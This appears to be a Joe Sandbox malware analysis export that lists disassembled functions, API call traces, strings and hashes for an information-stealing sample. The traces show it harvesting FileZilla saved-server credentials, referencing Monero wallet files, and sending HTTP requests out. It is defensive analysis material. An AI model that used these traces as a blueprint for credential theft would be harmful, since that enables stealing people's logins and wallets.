Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b87503b168c8fd93e199e347fa559f9194e5431ce1ddd52a60334a783de15161
Instruction ID: bb2fb372db878d9dfdf67db8d65cf912b99430013bc24612d2053fa5cb719a93
Opcode Fuzzy Hash: b87503b168c8fd93e199e347fa559f9194e5431ce1ddd52a60334a783de15161
Instruction Fuzzy Hash: 4841F2B3B142141FF300A92EDD857B677CADBC4760F1AC53ADA84C7784E9398C0642D1

Function 0116638E Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9217be0083c5822ed045cd1a6b8ea2c4e313c2926c837543a41ada68a9d9cab
Instruction ID: 43fb9dd58a954af2773345109e7f4d5174ce9d16ef45b16b50810132111d4a5d
Opcode Fuzzy Hash: e9217be0083c5822ed045cd1a6b8ea2c4e313c2926c837543a41ada68a9d9cab
Instruction Fuzzy Hash: 525104B3E046109BE3445E29DC8432AFAE5EFD4720F2BC93DDAC857785D6394C458786

Function 011FCDFA Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90674befd680ca1b2570b7f027c4df6d0badee27096a3921d918a850ff990f25
Instruction ID: 9c26e244f413dfa2273ee97fc000dd732d4e5b0b6c1b437da6355c25724e18ef
Opcode Fuzzy Hash: 90674befd680ca1b2570b7f027c4df6d0badee27096a3921d918a850ff990f25
Instruction Fuzzy Hash: 6B2105F3E186205BF3446E6CCC49326B6DAEB94310F2B853CDAC8937C4ED39580486DA

Function 00ED9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00ED0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00EE0DBA,00EE0DB7,00EE0DB6,00EE0DB3), ref: 00ED0362
RtlAllocateHeap.NTDLL(00000000), ref: 00ED0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00ED0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00ED03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00ED0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00ED0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00ED0562
lstrcat.KERNEL32(?,profile: null), ref: 00ED0571
lstrcat.KERNEL32(?,url: ), ref: 00ED0580
lstrcat.KERNEL32(?,00000000), ref: 00ED0593
lstrcat.KERNEL32(?,00EE1678), ref: 00ED05A2
lstrcat.KERNEL32(?,00000000), ref: 00ED05B5
lstrcat.KERNEL32(?,00EE167C), ref: 00ED05C4
lstrcat.KERNEL32(?,login: ), ref: 00ED05D3
lstrcat.KERNEL32(?,00000000), ref: 00ED05E6
lstrcat.KERNEL32(?,00EE1688), ref: 00ED05F5
lstrcat.KERNEL32(?,password: ), ref: 00ED0604
lstrcat.KERNEL32(?,00000000), ref: 00ED0617
lstrcat.KERNEL32(?,00EE1698), ref: 00ED0626
lstrcat.KERNEL32(?,00EE169C), ref: 00ED0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EE0DB2), ref: 00ED068E

Strings

url: , xrefs: 00ED0577
<Pass encoding="base64">, xrefs: 00ED045A
password: , xrefs: 00ED05FB
<Port>, xrefs: 00ED03C6
profile: null, xrefs: 00ED0568
<Host>, xrefs: 00ED037C
login: , xrefs: 00ED05CA
browser: FileZilla, xrefs: 00ED0559
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00ED02A4
<User>, xrefs: 00ED0410

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 5956b814e231a8a35845101a060fdd90071be2d03ba3e98bb089f6bc737acd9d
Instruction ID: 6f15bd4fe41e905068fb3c2150b2d5b7965ee2d09dd562d3291648fdf4d841d7
Opcode Fuzzy Hash: 5956b814e231a8a35845101a060fdd90071be2d03ba3e98bb089f6bc737acd9d
Instruction Fuzzy Hash: 2DD14F76D002089BCB08EBF0DD9AEEE7778EF14300F44552AF512B7185EE74AA46DB61

Function 00EC5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00EC59F8
StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,01B8E3C0,00000000,?,01B89B58,00000000,?,00EE1A1C), ref: 00EC5E71
lstrlen.KERNEL32(00000000), ref: 00EC5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00EC5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00EC5E9A
lstrlen.KERNEL32(00000000), ref: 00EC5EAF
lstrlen.KERNEL32(00000000), ref: 00EC5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00EC5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00EC5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00EC5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00EC5F4C
InternetCloseHandle.WININET(00000000), ref: 00EC5FB0
InternetCloseHandle.WININET(00000000), ref: 00EC5FBD
HttpOpenRequestA.WININET(00000000,01B8E250,?,01B8DA10,00000000,00000000,00400100,00000000), ref: 00EC5BF8

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

InternetCloseHandle.WININET(00000000), ref: 00EC5FC7

Strings

", xrefs: 00EC5E16
------, xrefs: 00EC5C0B
", xrefs: 00EC5CD5
------, xrefs: 00EC5D4C
------, xrefs: 00EC5A96

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 6ec59c9878d46a683d937cad0768e18457f25b8c4def870929306379e23668a5
Instruction ID: b2e44ec00474f375440ad1df2e1bc411259c2e6df8b3870dae52860e677b4bb3
Opcode Fuzzy Hash: 6ec59c9878d46a683d937cad0768e18457f25b8c4def870929306379e23668a5
Instruction Fuzzy Hash: 65122176820118AACB19EBA0DC95FEE73B8FF54700F4451BAB50672191EF702B8ACF55

Function 00ECCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,01B89EE8,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00ECCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00ECD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00ECD0CE
lstrcat.KERNEL32(?,00000000), ref: 00ECD208
lstrcat.KERNEL32(?,00EE1478), ref: 00ECD217
lstrcat.KERNEL32(?,00000000), ref: 00ECD22A
lstrcat.KERNEL32(?,00EE147C), ref: 00ECD239
lstrcat.KERNEL32(?,00000000), ref: 00ECD24C
lstrcat.KERNEL32(?,00EE1480), ref: 00ECD25B
lstrcat.KERNEL32(?,00000000), ref: 00ECD26E
lstrcat.KERNEL32(?,00EE1484), ref: 00ECD27D
lstrcat.KERNEL32(?,00000000), ref: 00ECD290
lstrcat.KERNEL32(?,00EE1488), ref: 00ECD29F
lstrcat.KERNEL32(?,00000000), ref: 00ECD2B2
lstrcat.KERNEL32(?,00EE148C), ref: 00ECD2C1
lstrcat.KERNEL32(?,00000000), ref: 00ECD2D4
lstrcat.KERNEL32(?,00EE1490), ref: 00ECD2E3

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

lstrlen.KERNEL32(?), ref: 00ECD32A
lstrlen.KERNEL32(?), ref: 00ECD339

Part of subcall function 00EDAA70: StrCmpCA.SHLWAPI(01B88A70,00ECA7A7,?,00ECA7A7,01B88A70), ref: 00EDAA8F

DeleteFileA.KERNEL32(00000000), ref: 00ECD3B4

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 8fa6de29405962520765938ff27f8888cb4e2910720ea31b25f8262cef8bcf72
Instruction ID: e72d1d2502e7280ec9fe85a82053a8928d4ab368b62ca497302f51b1ac162d5c
Opcode Fuzzy Hash: 8fa6de29405962520765938ff27f8888cb4e2910720ea31b25f8262cef8bcf72
Instruction Fuzzy Hash: 84E171728002089BCB19EBA0ED96EEE73B8FF14301F04517AF516B3181DE75AB46DB61

Function 00ECC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,01B8CEC8,00000000,?,00EE144C,00000000,?,?), ref: 00ECCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00ECCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00ECCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ECCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00ECCAD9
StrStrA.SHLWAPI(?,01B8CE38,00EE0B52), ref: 00ECCAF7
StrStrA.SHLWAPI(00000000,01B8CDF0), ref: 00ECCB1E
StrStrA.SHLWAPI(?,01B8D358,00000000,?,00EE1458,00000000,?,00000000,00000000,?,01B88A00,00000000,?,00EE1454,00000000,?), ref: 00ECCCA2
StrStrA.SHLWAPI(00000000,01B8D298), ref: 00ECCCB9

Part of subcall function 00ECC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ECC871
Part of subcall function 00ECC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ECC87C

StrStrA.SHLWAPI(?,01B8D298,00000000,?,00EE145C,00000000,?,00000000,01B88A50), ref: 00ECCD5A
StrStrA.SHLWAPI(00000000,01B888C0), ref: 00ECCD71

Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B46), ref: 00ECC943
Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B47), ref: 00ECC957
Part of subcall function 00ECC820: lstrcat.KERNEL32(?,00EE0B4E), ref: 00ECC978

lstrlen.KERNEL32(00000000), ref: 00ECCE44
CloseHandle.KERNEL32(00000000), ref: 00ECCE9C

Strings

, xrefs: 00ECC9C6

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
